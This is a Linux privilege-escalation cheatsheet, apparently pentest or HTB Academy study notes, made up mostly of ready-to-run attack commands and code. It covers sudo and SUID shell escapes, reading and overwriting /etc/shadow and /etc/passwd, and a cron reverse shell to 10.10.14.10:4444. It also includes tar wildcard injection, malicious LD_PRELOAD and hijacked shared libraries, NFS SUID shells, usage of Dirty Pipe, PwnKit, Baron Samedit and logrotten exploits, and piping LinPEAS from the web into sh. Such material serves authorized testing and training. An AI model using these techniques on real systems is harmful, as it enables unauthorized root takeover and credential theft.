Linux Privilege Escalation Cheatsheet
Initial Enumeration — Quick Commands
# System info
uname -a # kernel version
cat /etc/os-release # OS version
cat /etc/issue # OS name
hostname # hostname
lscpu # CPU architecture
# User info
id # current user + groups
whoami # current user
sudo -l # sudo privileges (MUST CHECK ALWAYS)
cat /etc/passwd # all users (check for hashes!)
cat /etc/shadow # password hashes (root-only, check if readable)
lastlog # last logins
last # login history
who # who is logged in
sudo Privileges
Always check this first.
sudo -l # list sudo permissions
sudo -l -U <user> # check another user's sudo rights
# Execute commands as any user (if sudo -l shows NOPASSWD)
sudo -u root <command>
# If specific binary is allowed — GTFOBins it!
# https://gtfobins.github.io
# Common dangerous sudo entries
sudo -u root /bin/bash # full shell as root (if /bin/bash allowed)
sudo -u root find . -exec /bin/sh \; # find with exec
sudo vim -c '!bash' # escape vim to shell
sudo less /etc/shadow # less with file, then !bash
sudo man man -P 'cat /etc/shadow' # man pager escape
sudo awk 'BEGIN {system("/bin/sh")}' # awk escape
sudo python3 -c 'import os; os.system("/bin/sh")' # python escape
GTFOBins: Check https://gtfobins.github.io for every binary.
SUID Binaries
# Find SUID binaries on the system
find / -perm -4000 -type f 2>/dev/null
find / -uid 0 -perm -4000 -type f 2>/dev/null # owned by root + SUID
find / -perm -4000 -o -perm -2000 -type f 2>/dev/null # SUID + SGID
# Check if SUID binary is exploitable
ls -la /usr/bin/<binary>
strings /usr/bin/<binary> | grep -i version
# Common SUID binaries to watch for
# /usr/bin/pkexec — polkit (CVE-2021-4034, CVE-2022-0847)
# /usr/bin/su — standard
# /usr/bin/sudo — standard
# /usr/bin/passwd — standard
# /usr/bin/gpasswd — standard
# /usr/bin/newgrp — standard
# /usr/bin/chsh — standard
# /usr/bin/chfn — standard
# /usr/bin/mount — standard
# /usr/bin/umount — standard
# /usr/bin/cp — copy as root (exfiltrate /etc/shadow!)
# /usr/bin/find — find . -exec /bin/sh -p \;
# /usr/bin/nmap — nmap --interactive
# /usr/bin/vim — vim -c '!sh'
# /usr/bin/less — less /etc/shadow
# /usr/bin/base64 — base64 /etc/shadow | base64 -d
Exploit common SUID binaries
# SUID find
find . -exec /bin/sh -p \; -quit
# SUID nmap (old versions)
nmap --interactive
> !sh
# SUID vim
vim -c '!sh'
# SUID less
less /etc/shadow
# then type !sh
# SUID cp — copy shadow
cp /etc/shadow /tmp/shadow
# crack the hash offline
# SUID base64
base64 /etc/shadow > /tmp/shadow.b64
Linux Capabilities
# Find files with capabilities set
getcap -r / 2>/dev/null
# Check a specific file
getcap /usr/bin/ping
# Dangerous capabilities
# CAP_SYS_ADMIN — essentially root
# CAP_DAC_OVERRIDE — bypass file permission checks
# CAP_DAC_READ_SEARCH — bypass file read checks
# CAP_SETUID — can set uid
# CAP_SETGID — can set gid
# CAP_NET_RAW — raw sockets (sniffing)
# CAP_SYS_PTRACE — process inspection (memory access)
# CAP_SYS_MODULE — load kernel modules
# CAP_CHOWN — change file ownership
# Exploit CAP_DAC_OVERRIDE on perl/python/ruby
/usr/bin/perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh"'
# Exploit CAP_SETUID
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("/bin/sh")'
Writable /etc/passwd
# Check if /etc/passwd is writable
ls -la /etc/passwd
ls -la /etc/shadow
# Generate a password hash
openssl passwd -1 -salt x password123
# or
mkpasswd -m SHA-512 password123
# Add new root user
echo "newroot:\$1\$x\$xxxxxxxx:0:0:root:/root:/bin/bash" >> /etc/passwd
su newroot
# Replace root password
# Edit /etc/passwd and replace root's 'x' with hash
root:$1$x$xxxxxxxx:0:0:root:/root:/bin/bash
Writable /etc/shadow
# If /etc/shadow is writable — even easier
# Generate password hash for a known password
# Replace root's hash in /etc/shadow
# Then su root with the known password
Cron Jobs
# List cron jobs for all users
cat /etc/crontab
ls -la /etc/cron.d/
ls -la /etc/cron.daily/
ls -la /etc/cron.hourly/
ls -la /etc/cron.weekly/
ls -la /etc/cron.monthly/
ls -la /var/spool/cron/crontabs/
# Check user's own cron
crontab -l
# One-liner to check writable cron scripts
for f in $(find /etc/cron* -type f 2>/dev/null); do echo "$f: $(ls -la $f)"; done
# Check if any script is writable by current user
find /etc/cron* -writable -type f 2>/dev/null
# Check paths in cron jobs — writable PATH hijacking
cat /etc/crontab | grep -v "^#"
# If cron runs a script without full path — hijack $PATH
Hunting writable targets (the golden command)
# ALL world-writable FILES — the classic privesc sweep.
# NOT a cron finder: it finds WEAK SCRIPTS that a privileged process (cron/service)
# may execute. Every cron job runs a command — if that command is a writable script → win.
find / -path /proc -prune -o -type f -perm -o+w 2>/dev/null
# Group-writable too (not just "others"):
find / -path /proc -prune -o -type f \( -perm -o+w -o -perm -g+w \) -print 2>/dev/null
# Writable DIRECTORIES (PATH hijack / drop scripts there):
find / -path /proc -prune -o -type d -perm -o+w -print 2>/dev/null
# e.g. /usr/local/bin writable → plant a fake "tar" that runs as root
Cron abuse workflow (schedule → target → proof)
# 1. Schedules (WHAT runs):
cat /etc/crontab /etc/cron.d/* 2>/dev/null
cat /var/spool/cron/crontabs/* 2>/dev/null
# 2. Targets (WHAT we can write) — see "golden command" above
# 3. Runtime proof (WHAT actually runs, no root needed):
# pspy64 -pf -i 1000 → shows root cron commands in real time
Cron exploitation examples
# If script is writable — add reverse shell
echo '#!/bin/bash' > /path/to/cron_script.sh
echo 'bash -i >& /dev/tcp/10.10.14.10/4444 0>&1' >> /path/to/cron_script.sh
# More reliable over SSH (no listener needed):
printf '\ncat /root/flag.txt > /tmp/f.txt; chmod 644 /tmp/f.txt\n' >> /path/to/root_cron_script.sh
# wait for the cron tick, then read /tmp/f.txt
# PATH hijacking (if cron uses relative path)
# Check the PATH in /etc/crontab, find writable directory
echo '#!/bin/bash' > /tmp/evil_script.sh
echo 'cp /bin/bash /tmp/rootbash; chmod +s /tmp/rootbash' >> /tmp/evil_script.sh
chmod +x /tmp/evil_script.sh
export PATH=/tmp:$PATH
Wildcard injection (tar/rsync in cron)
# If cron runs: tar czf /backup.tgz * → craft filenames that become tar options:
# (run from the directory the cron tars)
touch -- '--checkpoint=1'
touch -- '--checkpoint-action=exec=sh evil.sh'
# evil.sh runs as root on the next cron tick. Also works with rsync (--rsh=).
# Watch out: filenames starting with - may need `--` to create.
Worked example (HTB Academy LLPE-NIX02)
1. find / -path /proc -prune -o -type f -perm -o+w → /dmz-backups/backup.sh (777)
2. cat /etc/crontab → cron entry: */3 * * * * root /dmz-backups/backup.sh (every 3 min!)
(sysadmin wanted 0 */3 = every 3 HOURS — wrote */3 = every 3 minutes)
3. printf '\ncat /root/cron_abuse/flag.txt > /tmp/f; chmod 644 /tmp/f\n' >> backup.sh
4. Wait ~2.5 min → cat /tmp/f → flag
5. ALWAYS back up the script before editing (cp backup.sh /tmp/) and restore after.
tmux / Screen Sessions
# Check for tmux sessions
tmux ls
# Check if someone else has an active session
ps aux | grep tmux
# Check screen sessions
screen -ls
ps aux | grep screen
# Check if socket files exist
find / -name "*.tmux*" -type s 2>/dev/null
find / -name "*.screen*" -type s 2>/dev/null
# Attach to tmux session (if socket writable)
tmux attach -t <session_name>
# Attach to screen session
screen -r <session_name>
screen -r <pid>.<session_name>
# Check for writable tmux sockets
find / -writable -type s 2>/dev/null
LXD / LXC Group
# Check if user is in lxd or lxc group
id
groups
# If in lxd group — can mount the host filesystem
# Method: run Alpine image with host filesystem mapped
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
lxc init alpine privesc -c security.privileged=true
lxc config device add privesc host-root disk source=/ path=/mnt/root
lxc start privesc
lxc exec privesc /bin/sh
# Now access /mnt/root for host filesystem
LXD without internet
# Build Alpine image locally if no internet
wget https://dl-cdn.alpinelinux.org/alpine/v3.18/releases/x86_64/alpine-v3.18-x86_64.tar.gz
lxc image import alpine-v3.18-x86_64.tar.gz --alias alpine
Docker Group
# Check if user is in docker group
groups
id
# If in docker group — full root access
docker run -v /:/mnt -it alpine /bin/sh
# Then chroot to /mnt
chroot /mnt
# Or mount and modify host filesystem
docker run -v /:/host -it alpine chroot /host
docker run -v /etc:/etc -it alpine sh # overwrite /etc/shadow
SSH Keys
# Check for world-readable private keys
find /home -name "id_rsa" -type f 2>/dev/null
find / -name "id_rsa" -type f 2>/dev/null
find / -name "*.pem" -type f 2>/dev/null
find / -name "authorized_keys" -type f 2>/dev/null
find / -name "*.pub" -type f 2>/dev/null
# Check SSH config
cat ~/.ssh/config 2>/dev/null
cat /etc/ssh/sshd_config | grep -i permitrootlogin
cat /etc/ssh/sshd_config | grep -i authorizedkeys
# Check if we can write to authorized_keys
echo "ssh-rsa AAAAB3..." >> /root/.ssh/authorized_keys
Kernel Exploits
# Get kernel version
uname -a
uname -r
# OS version
cat /etc/os-release
# Check for known CVEs (automated)
./linux-exploit-suggester.sh
./les.sh # Linux Exploit Suggester
python3 linux-exploit-suggester-2.py
# Manual — searchsploit
searchsploit "linux kernel $(uname -r)"
# Common kernel exploits
# CVE-2021-4034 — PwnKit (pkexec)
# CVE-2022-0847 — Dirty Pipe
# CVE-2016-5195 — Dirty Cow
# CVE-2021-3493 — overlayFS
# CVE-2023-2640 — Ubuntu overlayFS
# Dirty Pipe (CVE-2022-0847)
gcc dirtypipe.c -o dirtypipe
./dirtypipe /etc/passwd 1 "newroot:\$1\$x\$xxxxxxxx:0:0:root:/root:/bin/bash\n"
# Dirty Pipe — SUID hijack variant (AlexisAhmed repo: exploit-1/exploit-2)
bash compile.sh
./exploit-2 /usr/bin/sudo # hijacks the SUID binary → root shell
# # (clean up /tmp/sh afterwards!)
# Compile STATIC when the target has an older glibc:
# gcc -static -o exploit exploit.c → avoids "GLIBC_2.34 not found"
# PwnKit (CVE-2021-4034)
gcc pwnkit.c -o pwnkit
./pwnkit
# Dirty Cow (CVE-2016-5195)
gcc -pthread dirty.c -o dirty -lcrypt
./dirty
Environment Variables
LD_PRELOAD
If sudo -l shows a binary run with env_keep=LD_PRELOAD.
# Create a shared library
cat > /tmp/libevil.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setresuid(0,0,0);
system("/bin/sh -p");
}
EOF
# Compile
gcc -fPIC -shared -nostartfiles -o /tmp/libevil.so /tmp/libevil.c
# Run the sudo-allowed binary with LD_PRELOAD
sudo LD_PRELOAD=/tmp/libevil.so <allowed-binary>
PATH Hijacking
# If a cron job or script runs a command without full path
# Check writable directories in $PATH
echo $PATH
find $(echo $PATH | tr ':' ' ') -writable -type d 2>/dev/null
# Create malicious script with same name as the command
echo '#!/bin/bash' > /tmp/ls
echo 'cp /bin/bash /tmp/bashroot; chmod +s /tmp/bashroot' >> /tmp/ls
chmod +x /tmp/ls
export PATH=/tmp:$PATH
Shared Object Hijacking (RUNPATH)
A SUID binary that loads a library from a writable directory (RUNPATH) can be hijacked.
# 1. Find the non-standard library dependency
ldd ./payroll
# libshared.so => /development/libshared.so ← non-standard path!
# 2. Confirm the RUNPATH
readelf -d payroll | grep PATH
# 0x000000000000001d (RUNPATH) Library runpath: [/development]
# 3. /development is world-writable (drwxrwxrwx) → we control the library!
# 4. Find the function the binary needs (copy libc over the lib → run → error)
cp /lib/x86_64-linux-gnu/libc.so.6 /development/libshared.so
./payroll
# ./payroll: symbol lookup error: undefined symbol: dbquery ← function name!
# 5. Compile a malicious library exporting that function
cat > /tmp/src.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void dbquery() {
setuid(0);
system("/bin/sh -p");
}
EOF
gcc /tmp/src.c -fPIC -shared -o /development/libshared.so
# 6. Run the binary → root shell
./payroll
Python Library Hijacking
Three vectors when a root-run script imports a module we control.
1. Insecure write permissions on the module
# sudo -l shows: (ALL) NOPASSWD: /usr/bin/python3 /home/user/script.py
# script.py imports psutil → check the module file perms
ls -l /usr/local/lib/python3.*/dist-packages/psutil/__init__.py
# -rw-r--rw- root staff ... ← world-writable!
# Inject code at the start of the function the script calls
python3 - << 'EOF'
p = "/usr/local/lib/python3.8/dist-packages/psutil/__init__.py"
s = open(p).read()
s = s.replace("def virtual_memory():\n",
"def virtual_memory():\n import os\n os.system('cat /root/flag.txt')\n", 1)
open(p, "w").write(s)
EOF
# Run the script with sudo → injected code runs as root
sudo /usr/bin/python3 /home/user/mem_status.py
2. Library search path (higher-priority dir writable)
# Python imports in order — a writable path earlier in the list wins
python3 -c 'import sys; print("\n".join(sys.path))'
# /usr/lib/python3.8 ← check perms (drwxr-xrwx = writable!)
# /usr/local/lib/python3.8/dist-packages ← psutil installed here (lower priority)
# Create a fake psutil.py in the HIGHER-priority writable dir
cat > /usr/lib/python3.8/psutil.py << 'EOF'
import os
def virtual_memory():
os.system('id') # runs as root when the script calls it
EOF
sudo /usr/bin/python3 /home/user/mem_status.py
3. PYTHONPATH environment variable (sudo SETENV)
# sudo -l shows: (ALL : ALL) SETENV: NOPASSWD: /usr/bin/python3
# → we can set env vars for the sudo-run python
# Put the malicious psutil.py in /tmp, then force python to load it
sudo PYTHONPATH=/tmp/ /usr/bin/python3 /home/user/mem_status.py
NFS — no_root_squash
# 1. List the NFS exports of the target
showmount -e 10.10.10.10
# Export list for 10.10.10.10:
# /tmp *
# /var/nfs/general *
# 2. On the ATTACKER (as root): build a SUID shell
cat > /tmp/shell.c << 'EOF'
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
int main(void) { setuid(0); setgid(0); system("/bin/bash"); }
EOF
gcc -static -o /tmp/shell /tmp/shell.c # -static = runs on old glibc targets!
# 3. Mount the share + drop the binary + set SUID (owner = UID 0 on server!)
mkdir -p /mnt
mount -t nfs 10.10.10.10:/tmp /mnt
cp /tmp/shell /mnt/
chmod u+s /mnt/shell # no_root_squash keeps root ownership
umount /mnt
# 4. On the target: execute → root shell
/tmp/shell
Sudo — CVE-2021-3156 (Baron Samedit) & CVE-2019-14287
Baron Samedit (heap overflow in sudoedit)
Affects sudo < 1.8.31p2 / 1.9.5p2 (Ubuntu 20.04 ships 1.8.31; older versions vulnerable).
# 1. Check version
sudo -V | head -1
# 2. Get the PoC (blasty) — no sudo rights needed, works on ANY sudoers entry
git clone https://github.com/blasty/CVE-2021-3156.git && cd CVE-2021-3156
make # or: gcc -std=c99 -o sudo-hax-me-a-sandwich hax.c
# gcc -fPIC -shared -o 'libnss_X/P0P_SH3LLZ_ .so.2' lib.c
# no make/gcc on target → compile -static on your box, transfer everything
# 3. Run with the matching target index (0=Ubuntu18.04/1.8.21, 1=Ubuntu20.04/1.8.31)
./sudo-hax-me-a-sandwich 1
# pray for your rootshell.. → # id → uid=0(root)
Sudo policy bypass (CVE-2019-14287)
When sudoers allows a user to run a command as ANY user (ALL=(ALL) /usr/bin/id), -u#-1 wraps around to UID 0:
sudo -u#-1 id
# uid=0(root) gid=1005(user) ...
Logrotate — CVE-2022-1342 (logrotten)
Race condition: logrotate (root) rotates a log we control → symlink swap → root writes a file into /etc/bash_completion.d (sourced by any root bash login).
# 1. Find writable logs that root rotates (trigger discovery via pspy!)
# /home/user/backups/access.log ← writable + rotated by root's logrotate
# 2. Build logrotten on the target (or transfer the .c + compile there)
git clone https://github.com/whotwagner/logrotten.git
gcc logrotten.c -o logrotten
# 3. Payload: NOT a reverse shell (cleanup deletes the file fast) — SUID shell
cat > /tmp/payload << 'EOF'
if [ `id -u` -eq 0 ]; then (cp /bin/dash /tmp/dash; chmod u+s /tmp/dash); fi
EOF
# 4. Arm the exploit on the log + trigger the rotation (write to the log)
./logrotten -p /tmp/payload /home/user/backups/access.log
echo trigger >> /home/user/backups/access.log
# Renamed ... and created symlink to /etc/bash_completion.d
# Waiting 1 seconds before writing payload...
# 5. The symlink-vs-create race is RANDOM — retry until /tmp/dash appears!
ls -la /tmp/dash # -rwsr-xr-x root root = payload executed!
# 6. Root shell (persistent — no time pressure)
/tmp/dash -p # -p keeps the SUID euid!
Notes:
- The real logrotate config may be hidden in /root (unreadable) — find the target log empirically: write to logs and watch which one gets rotated (access.log → access.log.1).
- pspy64 reveals the root trigger chain (cron → script → logrotate) without root.
- The payload file in bash_completion.d gets cleaned up quickly — the SUID-dash trick survives the cleanup.
Interesting Files & Locations
# Backup files
ls -la /var/backups/
ls -la /var/backups/*.tgz
cat /var/backups/passwd.bak
cat /var/backups/shadow.bak
cat /var/backups/gshadow.bak
cat /var/backups/group.bak
# Check for hidden files in common directories
ls -la /opt/
ls -la /srv/
ls -la /tmp/
ls -la /var/tmp/
ls -la /root/ 2>/dev/null # Can we read root's home?
# Check for scripts
find /opt -type f -name "*.sh" 2>/dev/null
find /opt -type f -name "*.py" 2>/dev/null
find /opt -type f -name "*.pl" 2>/dev/null
# Check for config files
find / -name "*.conf" -type f 2>/dev/null | xargs grep -l "password" 2>/dev/null
find / -name "*.config" -type f 2>/dev/null
# Check for log files
ls -la /var/log/
cat /var/log/auth.log | grep -i "session opened for user" | tail -20
cat /var/log/auth.log | grep "password" | tail -20
cat /var/log/syslog | grep -i "error\|fail\|password" | tail -30
# Check for credentials in commonly used files
grep -ri "password" /var/www/ 2>/dev/null
grep -ri "password" /home/ 2>/dev/null
grep -ri "password" /etc/ 2>/dev/null
# Check for database files
find / -name "*.db" -type f 2>/dev/null
find / -name "*.sqlite" -type f 2>/dev/null
find / -name "*.sql" -type f 2>/dev/null
Process & Service Enumeration
# All running processes
ps aux
ps aux | grep root
ps aux | grep -i "http\|ssh\|mysql\|nginx\|apache\|tomcat\|docker"
# Check listening ports
netstat -tlnp
ss -tlnp
ss -tulpn
# Check services running as root
ps aux | grep "^root"
# Check for services running from unusual directories
ps aux | grep -v "/usr/\|/bin/\|/lib/\|/sbin/\|/etc/"
# Check for unusual processes
ps aux --forest
systemctl list-units --type=service --state=running
Automation — LinPEAS
# Download and run
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Or transfer via base64
# On your machine:
base64 linpeas.sh
# Copy output, paste on target:
echo "<base64>" | base64 -d | sh
# Run and output to file
./linpeas.sh -a > linpeas_output.txt
# Quick mode (faster)
./linpeas.sh -q
Alternative automation tools
# LinEnum
wget https://raw.githubusercontent.com/rebootuser/LinEnum/master/LinEnum.sh
# linux-exploit-suggester
wget https://raw.githubusercontent.com/mzet-/linux-exploit-suggester/master/linux-exploit-suggester.sh -O les.sh
# unix-privesc-check
wget http://pentestmonkey.net/tools/unix-privesc-check/unix-privesc-check
# PEAS-ng (updated LinPEAS)
wget https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh
Quick Win Checklist
1. sudo -l → check sudo rights
2. find / -perm -4000 -type f 2>/dev/null → check SUID
3. getcap -r / 2>/dev/null → check capabilities
4. cat /etc/crontab → check cron jobs
5. ls -la /etc/passwd → writable passwd?
6. uname -a → kernel version
7. groups → docker? lxd? sudo?
8. find / -writable -type d 2>/dev/null → writable directories
9. dpkg -l 2>/dev/null → installed packages
10. ps aux | grep -i "screen\|tmux" → open sessions
11. cat /etc/ssh/sshd_config → SSH misconfig?
12. ls -la /var/backups/ → backup files
Cron Jobs — chkrootkit (CVE-2014-0476)
If chkrootkit (< 0.50) runs as root via cron, its slapper check executes whatever is at /tmp/update:
echo -e '#!/bin/sh\nchmod 4755 /bin/bash' > /tmp/update
chmod 755 /tmp/update
sleep 60 # wait for next cron run
ls -la /bin/bash # → -rwsr-xr-x root root
/bin/bash -p # euid=0 → root
Detection: which chkrootkit, watch ps aux | grep chkroot across a minute, check /etc/cron* and /var/spool/cron/crontabs/root.